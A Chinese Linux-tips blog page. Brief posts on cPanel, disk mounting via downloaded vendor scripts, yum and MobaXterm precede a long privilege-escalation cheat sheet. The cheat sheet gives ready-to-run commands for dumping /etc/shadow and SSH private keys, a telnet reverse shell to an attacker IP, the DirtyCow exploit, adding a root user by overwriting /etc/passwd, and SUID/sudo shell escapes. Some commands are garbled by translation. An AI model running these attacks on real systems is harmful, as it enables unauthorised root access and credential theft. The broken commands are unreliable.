欢迎光临
我们一直在努力

Linux技巧

CPanel重启网卡丢失后解决方案

阅读(333)评论(0)

有时候修改CPanel的Ip地址时,难免会要执行service network restart,重启后cpanel的附加ip就会丢失,届时可以按以下方法处理。

 

一、执行命令

 

/usr/local/cpanel/scripts/restartsrv_ipaliases

 

SSH执行以上命令,重启ip关联,附加ip就会全部自动绑定上去了。

CPanel重启网卡丢失后解决方案

CentOS 系统一键卷组挂载(使用所有容量)教程

阅读(229)评论(0)

本教程适用于CentOS 6 / 7 系列,自动卷组挂载则更适合新手或急需扩容硬盘的客户。

基于Xensystem面板的VPS默认挂载10G硬盘(第一磁盘),通过卷组挂载可将剩余硬盘空间直接通过卷组叠加至第一硬盘,实现 / 使用整个VPS的容量。

挂载建议在系统全新的系统下操作,如系统已经有数据建议先完整备份,以防挂载出现失误导致数据丢失。如果是套餐升级(硬盘后期再次扩容),建议提交工单咨询。

 

一、查看当前硬盘分区情况

 

df -H

 

SSH执行以上命令,查看当前 / 容量,8.6G左右表示正在且只在使用第一硬盘10G的容量。

CentOS 系统一键卷组挂载(使用所有容量)教程

 

二、下载挂载脚本,一键挂载。

 

wget http://soft.kwx.gd/tools/AutoMountLVM.sh

 

SSH执行以上命令,下载shell,并执行。

 

sh AutoMountLVM.sh

 

 三、开始或取消

 

操作方法:按任意键,直接执行SSH命令,执行  Ctrl + C  可取消退出。

执行完毕后自动重启,3分钟后再次尝试连接,并再执行

 

df -H

 

即可查看到是否成功挂载。

CentOS 系统一键卷组挂载(使用所有容量)教程

CentOS 系统一键分区并挂载 /home 教程

阅读(299)评论(0)

本教程适用于CentOS 6 / 7 系列,自动挂/home适合重要数据在/home目录下,只重装系统盘缺不想丢失数据的客户。

本脚本默认挂/home ,如果需要挂到其它目录,请自行修改Shell。

 

一、查看当前硬盘分区情况

 

df -H

 

SSH执行以上命令,查看当前 / 容量,8.6G左右表示正在且只在使用第一硬盘10G的容量。

CentOS 系统一键分区并挂载 /home 教程

 

二、下载挂载脚本

 

wget http://soft.kwx.gd/tools/AutoMountEXT.sh

 

三、开始或取消

 

sh AutoMountEXT.sh

 

操作方法:按任意键,直接执行SSH命令,执行  Ctrl + C  可取消退出。

执行完毕后,再执行

 

df -H

 

即可查看到是否成功挂载。

CentOS 系统一键分区并挂载 /home 教程

CentOS Yum进程被锁定解决方案

阅读(205)评论(0)

有时在执行yum命令中短线或强制终止时没有干净,导致下次运行时提示:Another app is currently holding the yum lock; waiting for it to exit..

自动草稿

 

解决方法:

 

rm -f /var/run/yum.pid

 

执行以上命令删除yum.pid即可。

如何使用使用MobaXterm远程登录linux主机

阅读(272)评论(0)

当我们的项目开发到一定的程度的时候,就需要把代码烧录到产品中去了,直接验证我们开发的产品功能是否有问题。但是我们的产品可能是不带屏幕的,无法像在电脑一样可视化的直接操作系统内部的文件或者执行的操作。那么这个时候又想要操作我们产品中的系统的时候,那该怎么办呢?

很多时候我们使用linux开发的时候,在ubuntu里面开发的时候我们可以用各种工具进行协助开发,也是很方便的。

但是当我们的项目开发到一定的程度的时候,就需要把代码烧录到产品中去了,直接验证我们开发的产品功能是否有问题。但是我们的产品可能是不带屏幕的,无法像在电脑一样可视化的直接操作系统内部的文件或者执行的操作。

那么这个时候又想要操作我们产品中的系统的时候,那该怎么办呢?
假如这个时候,你所开发的产品是有联网功能,比如wifi、以太网,那就可以通过远程登录的方式去登录产品上的系统,实现控制和读写等操作。

本次分享的是使用MobaXterm登录远程主机的操作方式!

1、 安装MobaXterm

MobaXterm的下载链接如下:https://mobaxterm.mobatek.net/download-home-edition.html

进入到主页之后,点击“Download”,会出现两个下载选项。一个是家庭版,另一个是专业版(这个是需要花钱的!)。这两个选项如下图所示:

如何使用使用MobaXterm远程登录linux主机

如果是个人使用的话,选择免费的家庭版的就可以了。专业版是功能更加齐全,权限更加多的版本,如果我们只做普通使用的话,免费版基本就够用了!

这里就以家庭版的为例。点击进入之后就可以看到出现两个下载选项可以选择,如下图所示:

如何使用使用MobaXterm远程登录linux主机

图中的1是便携版,是不需要安装的,下载之后解压双击就可以使用;图中的2是一个安装包,下载完之后是需要安装到电脑上才能使用的。

注:如果是自己测试用的,选择便携版即可!

2、 登录远程主机
2.1、输入linux主机的账号和IP进行登录

(1) 首先,打开MobaXterm软件。找到 “Sessions”选项,展开之后选择 “New session”,创建一个新的远程登录。如图:

如何使用使用MobaXterm远程登录linux主机

(2) 选择 “SSH”这个选项,下面会出现让你输入需要远程登录的主机信息。分别是远程主机的IP和用户名。如下:

如何使用使用MobaXterm远程登录linux主机

(3) 输入远程主机的IP,如下:

如何使用使用MobaXterm远程登录linux主机

注意:这个IP是指的你需要远程登录的IP地址。
比如,我现在用的是虚拟机中的Ubuntu,那可以用下面的指令查询IP地址信息:

ifconfig

如下:

如何使用使用MobaXterm远程登录linux主机

(4) 输入远程主机的用户名,如下:

如何使用使用MobaXterm远程登录linux主机

这个指的是你主机的用户名。比如我现在用的是虚拟机中的Ubuntu系统,打开命令行就可以方便的看到,如下:

如何使用使用MobaXterm远程登录linux主机

注意:在终端上显示的一串字符中,“@”前面的才是主机的用户名。

(5) 输入完信息之后,点击“OK”,登录远程主机,如果有密码会提示你输入密码,密码输入正确之后,还会弹窗询问你是否要保存当前的密码,方便下次登录时不需要再次输入密码登录。如下:

如何使用使用MobaXterm远程登录linux主机

2.2、安装rt4客户端

正确登入远程主机之后,会显示当前登录的主机信息:

然后如果你是第一次登录的,那么会提示你“rt 尚未安装”,下面也会提示你怎么安装解决这个问题,如下:

如何使用使用MobaXterm远程登录linux主机

按照它给的指令输入之后,会出现安装信息,还会提问你是否要继续执行操作,直接输入“Y”即可。如下:

如何使用使用MobaXterm远程登录linux主机

下面是安装完成之后的样子。如下:

如何使用使用MobaXterm远程登录linux主机

安装完成之后,就可以像在linux终端一样操作远程的主机了。

如何使用使用MobaXterm远程登录linux主机

Linux提权总结

阅读(310)评论(0)

提权概念

特权升级有两种类型:水平和垂直。在水平升级中,您从一个用户转移到 另一个用户。在这种情况下,两个用户都是通用的,而在垂直方式中,我们将特权从普通用户提升为管理员。

用户无法访问(读取/写入/执行)不允许访问的文件。但是,超级用户 (root)可以访问系统上存在的所有文件。 为了更改任何重要的配置或进行进一步的攻击,首先,我们需要在任何基于Linux的系统上获得root用户 访问权限

为什么我们需要执行特权升级?

  • 读/写任何敏感文件
  • 重新启动之间轻松保持
  • 插入永久后门

特权升级所使用的技术

我们假设现在我们在远程系统上有外壳。根据我们渗透进去的方式,我们可能没有“ root”特权。以下提到的技术可用于获取系统上的“ root”访问权限。

  • 内核漏洞
  • 以root身份运行的程序
  • 已安装的软件
  • 弱密码/重用密码/纯文本密码
  • 内部服务
  • Suid配置错误
  • 滥用sudo权利
  • 由root调用的可写脚本
  • 路径配置错误
  • Cronjobs
  • 卸载的文件系统

在提权前,我们需要收集主机信息,以确定成功提权的方式

提权前的信息收集

操作系统

发行类型 版本

bash
cat /etc/issue 
cat /etc/*-release  
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat

内核版本 32位还是64位

none
cat /proc/version
uname -a uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

查看环境变量 环境变量中可能存在密码或API密钥

bash
cat /etc/profile 
cat /etc/bashrc
cat ~/.bash_profile  
cat ~/.bashrc  
cat ~/.bash_logout  
env set

路径(Path) 如果对该变量内的任何文件夹都具有写权限,则可以劫持某些库或二进制

bash
文件:PATH 
echo $ PATH 

查看打印机有无

bash
lpstat -a 

应用与服务

哪些服务正在运行?

哪个服务具有哪个用户特权?

bash
ps aux
ps -ef top
cat /etc/services

root正在运行哪些服务?在这些易受攻击的服务中,值得仔细检查!

bash
ps aux | grep root ps -ef | grep root

安装了哪些应用程序?他们是什么版本的?他们目前在运行吗?

bash
ls -alh /usr/bin/ 
ls -alh /sbin/ 
dpkg -l 
rpm -qa 
ls -alh /var/cache/apt/archivesO 
ls -alh /var/cache/yum/

服务设置是否配置错误?是否附有(脆弱的)插件?

bash
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

计划了哪些工作?(计划任务)

bash
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

是否有纯文本用户名和/或密码?

  • 检查Web服务器连接到数据库的文件(config.php或类似文件)
  • 检查数据库以获取可能被重用的管理员密码
  • 检查弱密码

bash
grep -i user [filename] 
grep -i pass [filename] 
grep -C 5 "password" [filename] 
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

通讯与网络

系统具有哪些NIC?它是否连接到另一个网络?

bash
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

查看网络配置设置,确定关于该网络的信息,DHCP服务器?DNS服务器?网关?

bash
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

其他哪些用户和主机正在与系统通信?

在这种情况下,用户正在运行某些只能从该主机获得的服务。我们无法从外部连接到服务。它可能是开发服务器,数据库或其他任何东西。这些服务可能以root用户身份运行, 或者其中可能存在漏洞。

bash
# Linux 
netstat -anlp 
netstat -ano

bash
lsof -i
lsof -i :80 grep 80 /etc/services
netstat -antup 
netstat -antpx
netstat -tulpn
chkconfig --list chkconfig --list | grep 3:on
last
w

IP和/或MAC地址

bash
arp -e
route
/sbin/route -nee

数据包嗅探是否可能?可以看到什么?

bash
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

注意:tcpdump tcp dst [ip] [端口]和tcp dst [ip] [端口]

我们有shell吗?

bash
nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets sys

是否可以进行端口转发?重定向流量并与之交互

注意:FPipe.exe -l [本地端口] -r [远程端口] -s [本地端口] [本地IP]

bash
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

注意:ssh-[L / R] [本地端口]:[远程IP]:[远程端口] [本地用户] @ [本地IP]

bash
ssh -L 8080:127.0.0.1:80 root\@192.168.1.7 # Local Port
ssh -R 8080:127.0.0.1:80 root\@192.168.1.7 # Remote Port

注意:mknod backpipe p; nc -l -p [远程端口] backpipe

bash
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost

可以使用隧道吗?在本地远程发送命令

bash
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

机密信息和用户

你是谁?谁登录?谁已经登录?那里还有谁?谁能做什么?

bash
id 
who 
w
last
cat /etc/passwd \| cut -d: -f1 \ # List of users
grep -v -E "^#" /etc/passwd |
cat /etc/sudoers
sudo -l

可以找到哪些敏感文件?

bash
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

home/root目录有什么”有用”的地方吗?如果可以访问

bash
ls -ahlR /root/
ls -ahlR /home/

里面有密码吗?脚本,数据库,配置文件还是日志文件?密码的默认路径和 位置

bash
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

用户正在做什么?是否有纯文本密码?他们在编辑什么?

bash
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

用户信息

bash
cat ~/.bashrc cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

私钥信息

bash
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

文件系统

可以在/ etc /中写入哪些配置文件?能够重新配置服务?

bash
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null    # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null     # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null         # Other
find /etc/ -readable -type f 2>/dev/null             # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

在/ var /中可以找到什么?

bash
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

网站上是否有任何设置/文件(隐藏)?有数据库信息的任何设置文件吗?

bash
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

日志文件中是否有任何内容(可以帮助”本地文件包含”)

bash
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/


Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, m

如果命令受到限制,获取交互shell

bash
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

是否存在安装文件系统?

bash
mount
df -h

是否有任何卸载的文件系统?

bash
cat /etc/fstab

“Linux文件权限”是什么?

bash
find / -perm -1000 -type d 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID

可以在哪里写入和执行?一些“常见”位置:/ tmp,/ var / tmp,/ dev / shm

bash
find  / -writable -type d 2>/dev/null     # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders
find / -perm -o x -type d 2>/dev/null     # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null  # world-writeable

任何”问题”文件吗?Word可写的”没人”文件

bash
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print
find /dir -xdev \( -nouser -o -nogroup \) -print

准备和查找漏洞利用代码

安装/支持哪些开发工具/语言?

bash
find / -name perl\*
find / -name python\*
find / -name gcc\* find / -name cc

如何上传文件?

bash
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

系统是否已完全打补丁?

none
内核,操作系统,所有应用程序,其插件和Web服务

linux提权自动信息收集

枚举脚本

LinEnum

https://github.com/rebootuser/LinEnum

Unix特权

http://pentestmonkey.net/tools/audit/unix-privesc-check

运行脚本并将输出保存在文件中,然后使用grep发出警告。

Linprivchecker.py

https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py

通过利用Linux内核中的漏洞,有时我们可以提升特权。我们通常需要了解的操作系统, 体系结构和内核版本是测试内核利用是否可行的测试方法。

内核漏洞

内核漏洞利用程序是利用内核漏洞来执行具有更高权限的任意代码的程序。成功的内核利用通常以root命令提示符的形式为攻击者提供对目标系统的超级用户访问权限。在许多情况下,升级到Linux系统上的根目录就像将内核漏洞利用程序下载到目标文件系统,编译该漏洞利用程序然后执行它一样简单。

假设我们可以以非特权用户身份运行代码,这就是内核利用的通用工作流程。

none
诱使内核在内核模式下运行我们的有效负载

处理内核数据,例如进程特权

以新特权启动shell root!

考虑到要成功利用内核利用攻击,攻击者需要满足以下四个条件:

none
易受攻击的内核

匹配的漏洞利用程序

将漏洞利用程序转移到目标上的能力

在目标上执行漏洞利用程序的能力

抵御内核漏洞的最简单方法是保持内核的修补和更新。在没有补丁的情况下,管理员可以极大地影响在目标上转移和执行漏洞利用的能力。考虑到这些因素,如果管理员可以阻止将利用程序引入和/或执行到Linux文件系统上,则内核利用程序攻击将不再可行。因此,管理员应专注于限制或删除支持文件传输的程序,例如FTP,TFTP,SCP,wget和curl。当需要这些程序时,它们的使用应限于特定的用户,目录,应用程序(例如SCP) 和特定的IP地址或域。

内核信息收集

一些基本命令收集一些Linux内核信息

bash
uname -a #打印所有可用的系统信息
uname -m #Linux内核体系结构(32或64 位)
uname -r #内核发布
uname -n #要么 hostname 系统主机名
#内核信息
cat /proc/version
#发行信息
cat /etc/issue 
cat /etc/*-release
#CPU信息
cat /proc/cpuinfo 
#文件系统信息
df -a             
#列出可用的编译器
dpkg \--list 2>/dev/null\| grep compiler \|grep -v decompiler 2>/dev/null && yum list installed \'gcc\*\' 2>/dev/null\| grep gcc 2>/dev/null 

搜索漏洞

bash
site:exploit-db.com kernel version python linprivchecker.py extended

通过脏牛(CVE-2016-5195)利用易受攻击的机器

bash
$ whoami
$ uname -a 
给我们我们知道容易受到dirtycow攻击的内核版本>下载dirtycow漏洞
https://www.exploit-db.com/exploits/40839/
编译并执行。通过编辑/etc/passwd
它将" root"用户替换为新用户" rash"
#将当前登录用户更改为root用户的"rash"
$ su rash

其他内核提权

PoCs · dirtycow/dirtycow.github.io Wiki · GitHub

对于不同的内核和操作系统,可以公开获得许多不同的本地特权升级漏洞。是否可以使用内核利用漏洞在Linux主机上获得root访问权限,取决于内核是否易受攻击。Kali Linux具有exploit-db漏洞的本地副本,这使搜索本地根漏洞更加容易。我不建议在搜索Linux内核漏洞时完全依赖此数据库。

检查内核版本以及是否存在一些可用于提升特权的漏洞,我们可以在此处找到良好的易受攻击的内核列表以及一些已编译的漏洞利用程序:

https : //github.com/lucyoa/kernel-exploits和exploitdb sploits。

其他网站,可以找到一些编译漏洞:

https://github.com/bwbwbwbw/linux-exploit-binaries

https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

也可以直接在MSF中搜索

特别提醒

不要一开始就利用任何本地特权升级漏洞

如果可以避免,请不要使用内核漏洞利用。如果使用它,可能会使计算机崩溃或使其处于不稳定状态。因此,内核漏洞利用应该是最后的手段。

none
a.远程主机可能会崩溃,因为许多公开可用的根漏洞利用都不十分稳定。

b.您可能会成为root用户,然后使系统崩溃。

c.漏洞利用可能会留下痕迹/日志。

历史漏洞提权

CVE-2016-5195(DirtyCow)

Linux内核<= 3.19.0-73.8

bash
# make dirtycow stable
echo 0 \> /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

利用以root权限运行的服务

著名的EternalBlue和SambaCry漏洞利用了以root身份运行的smb服务。由于它的致命组合,它被广泛用于在全球范围内传播勒索软件。这里的手法是,如果特定服务以root用户身份运行,并且我们可以使该服务执行命令,则可以root用户身份执行命令。我们可以重点检查Web服务,邮件服务,数据库服务等是否以root用户身份运行。很多时候,运维都以root用户身份运行这些服务,而忽略了它可能引起的安全问题。可能有一些服务在本地运行,而没有公开暴露出来,但是也可以利用。

bash
#显示所有打开并正在监听的端口
netstat -antup
#列出哪些进程正在运行
ps aux
#列出以root身份运行的服务
ps -aux | grep root

NFS权限弱

如果您在linu服务器上具有低特权shell,并且发现服务器中具有NFS共享, 则可以使用它来升级特权。但是成功取决于它的配置方式。

什么是NFS?

网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。在 NFS 协议是几个分布式文件系统标准,网络附加存储之一。

NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构系统之间数据的传送。

root_sqaush和no_root_sqaush

Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户” nfsnobody “,它具有最少的本地特权。如果 no_root_squash 选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时,系统管理员应始终使用” root_squash “参数。

注意:要利用此,no_root_squash 选项得开启。

利用NFS并获取Root Shell

https://cloud.tencent.com/developer/article/1708369

Suid和Guid配置错误

描述

SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文 件。例如,Linux ping命令通常需要root权限才能打开网络套接字。通过将ping程序标记为SUID(所有者为root),只要低特权用户执行ping程序,便会以root特权执行ping。

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。

当运行具有suid权限的二进制文件时,它将以其他用户身份运行,因此具有其他用户特权。它可以是root用户,也可以只是另一个用户。如果在程序中设置了suid,该位可以生成shell或以其他方式滥用,我们可以使用它来提升我们的特权。

以下是一些可用于产生SHELL的程序:

none
nmap
vim
less
more
nano
cp
mv
find

查找suid和guid文件

bash
#SUID
find / -perm -u=s -type f 2>/dev/null
#GUID
find / -perm -g=s -type f 2>/dev/null

其他命令

bash
#查找SUID文件
find / -perm -4000 -type f 2>/dev/null
#查找root拥有的SUID文件
find / -uid 0 -perm -4000 -type f 2>/dev/null
#查 找 SGID 文 件
find / -perm -2000 -type f 2>/dev/null
#查找可写文件,不包括proc 文件
find / ! -path "*/proc/*\" -perm -2 -type f -print 2>/dev/null
#查找rhost配置文件
find /home --name \*.rhosts -print 2>/dev/null
#查找hosts.equiv,列出权限并管理文件内容
find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null; -exec cat {} 2>/dev/null ; 
#显示当前用户历史记录
cat \~/.bash_history 
#向当前用户分发各种历史文件
ls -la \~/.\*\_history
#检查当前用户的ssh文件
ls -la \~/.ssh/
#在/etc中列出配置文件
find /etc -maxdepth 1 -name \'\*.conf\' -type f
ls -la /etc/\*.conf 
#显示可能有趣的打开文件
lsof \| grep \'/home/\|/etc/\|/opt/' 
也可以使用 sudo -l 命令列出当前用户可执行的命令

常用提权方式

nmap

bash
#查找设置了SUID位的可执行文件
find / -perm -u = s -type f 2> / dev / null

bash
#让我们确认nmap是否设置了SUID位。
ls -la / usr / local / bin / nmap

Nmap的SUID位置,很多时候,管理员将SUID位设置为nmap,以便可以有效地扫描网络,因为如果不使用root特权运行它,则所有的nmap扫描技术都将无法使用。

但是,nmap(2.02-5.21)存在交换模式,可利用提权,我们可以在此模式下以交 互方式运行nmap,从而可以转至shell。如果nmap设置了SUID位,它将以root特 权运行,我们可以通过其交互模式访问'root'shell。

bash
#运行nmap交互模式
nmap --interactive 
#我们可以从nmap shell转到系统shell
!sh

msf中的模块为:

bash
exploit/unix/local/setuid_nmap

vi/vim

Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

打开vim,按下ESC

bash
:set shell=/bin/sh
:shell

或者

bash
sudo vim -c '!sh'

bash

以下命令将以root身份打开一个bash shell。

bash
bash -p
bash-3.2
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(servi

less

程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。

bash
less /etc/passwd
!/bin/sh

more

none
more /home/pelle/myfile
!/bin/bash

cp

覆盖 /etc/shadow 或 /etc/passwd

bash
cat /etc/passwd >passwd
openssl passwd -1 -salt hack hack123
echo \'hack:\$1\$hack\$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
cp passwd /etc/passwd
su - hack
id

mv

覆盖 /etc/shadow 或 /etc/passwd

bash
cat /etc/passwd \>passwd
openssl passwd -1 -salt hack hack123
echo \'hack:\$1\$hack\$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:
mv passwd /etc/passwd
su - hack
id

nano

none
nano /etc/passwd

awk

none
awk 'BEGIN {system("/bin/sh")}'

man

none
man passwd
!/bin/bash

wget

none
wget http://192.168.56.1:8080/passwd -O /etc/passwd

apache

仅可查看文件,不能弹 shell

none
apache2 -f /etc/shadow

tcpdump

bash
echo \$\'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

python/perl/ruby/lua/php/etc

python

python
python -c "import os;os.system('/bin/bash')"

perl

perl
exec "/bin/bash";

滥用SUDO

在渗透中,我们拿到的webshell和反弹回来的shell权限可能都不高,如果我们可以使用sudo命令访问某些程序,则我们可以使用sudo可以升级特权。

bash
/usr/bin/find
/usr/bin/nano
/usr/bin/vim
/usr/bin/man
/usr/bin/awk
/usr/bin/less
/usr/bin/nmap ( --interactive and --script method)
/bin/more
/usr/bin/wget
/usr/sbin/apache2

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。

none
a.sudo能够限制用户只在某台主机上运行某些命令。

b.sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到中心主机或者日志服务器。

c.sudo使用时间戳文件来执行类似的"检票"系统。当用户调用sudo并且输入它的密码时,用户获得了一张存活期为5分钟的票(这个值可以在编译的时候改变)。

d.sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权限和使用的主机。它所存放的位置默认是在/etc/sudoers,属性必须为0440。

在sudo于1980年前后被写出之前,一般用户管理系统的方式是利用su切换为超级用户。但是使用su的缺点之一在于必须要先告知超级用户的密码。

sudo使一般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信 息,登记在特殊的文件中(通常是/etc/sudoers),即完成对该用户的授权(此时该用户称为”sudoer”);在一般用户需要取得特殊权限时,其可在命令前加上

“sudo”,此时sudo将会询问该用户自己的密码(以确认终端机前的是该用户本人),回答后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内

(默认为5分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。

由于不需要超级用户的密码,部分Unix系统甚至利用sudo使一般用户取代超级用户作为管理帐号,例如Ubuntu、Mac OS X等。

参数说明:

none
-V 显示版本编号

-h 会显示版本编号及指令的使用方式说明

-l 显示出自己(执行 sudo 的使用者)的权限

-v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做一次确认,如果超过 N 分钟,也会问密码

-k 将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟)

-b 将要执行的指令放在背景执行

-p prompt 可以更改问密码的提示语,其中 %u 会代换为使用者的帐号名称, %h 会显示主机名称

-u username/#uid 不加此参数,代表要以 root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码)

-s 执行环境变数中的 SHELL 所指定的 shell ,或是 /etc/passwd 里所指定的 shell

-H 将环境变数中的 HOME (家目录)指定为要变更身份的使用者家目录(如不加 -u 参数就是系统管理者 root )
command 要以系统管理者身份(或以 -u 更改为其他人)执行的指令

Sudoer文件

sudoers文件主要有三部分组成:

  • sudoers的默认配置(default),主要设置sudo的一些缺省值
  • alias(别名),主要有Host_Alias|Runas_Alias|User_Alias|Cmnd_Alias
  • 安全策略(规则定义)

语法

b
root ALL=(ALL) ALL

root用户可以从 ALL 终端作为 ALL (任意)用户执行,并运行 ALL (任意)命令

第一部分是用户,第二部分是用户可以在其中使用 sudo 命令的终端,第三部分是他可以充当的用户,最后一部分是他在使用时可以运行的命令。 sudo

bash
touhid ALL= /sbin/poweroff

以上命令,使用户可以从任何终端使用touhid的用户密码关闭命令电源。

bash
touhid ALL = (root) NOPASSWD: /usr/bin/find

上面的命令,使用户可以从任何终端运行,以root用户身份运行命令find 而无需密码。

利用SUDO用户

要利用sudo用户,您需要找到您必须允许的命令。

none
sudo -l

上面的命令显示了允许当前用户使用的命令。

使用查找命令

none
sudo find / etc / passwd -exec / bin / sh \;
sudo find / bin -name nano -exec / bin / sh \;

使用Vim命令

none
sudo vim -c'!sh'

使用Nmap命令

none
sudo nmap-交互式
nmap>!sh
sh-4.1#

没有互动的最新方式

bash
echo“ os.execute('/ bin/ sh')”> /tmp/shell.nse && sudo nmap --script = / tmp / shell.nse

